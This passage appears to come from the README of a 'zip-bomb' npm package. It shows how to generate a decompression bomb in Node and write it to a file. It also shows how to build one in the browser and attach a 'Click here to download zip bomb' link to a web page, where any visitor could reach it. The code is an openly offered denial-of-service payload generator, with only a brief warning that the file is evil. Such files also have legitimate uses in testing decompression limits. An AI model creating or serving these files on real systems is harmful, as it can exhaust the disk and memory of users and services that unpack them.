  .then((buffer) => {
    fs.writeFile(fileName, buffer, (err) => {
      if (err) throw err

      console.log(`${fileName} is created`)
    })
  })

WARNING zipbomb.zip file is evil!

In Browser (with Browserify or webpack)

const zb = require('zip-bomb')

zb.createDataURL(1024 * 1024 * 10, 10, 10)
  .then((dataURL) => {
    const a = document.createElement('a')
    const linkText = document.createTextNode('Click here to download zip bomb')

    a.appendChild(linkText)
    a.href = dataURL
    document.body.appendChild(a)
  })
  .catch((e) => console.error(e))
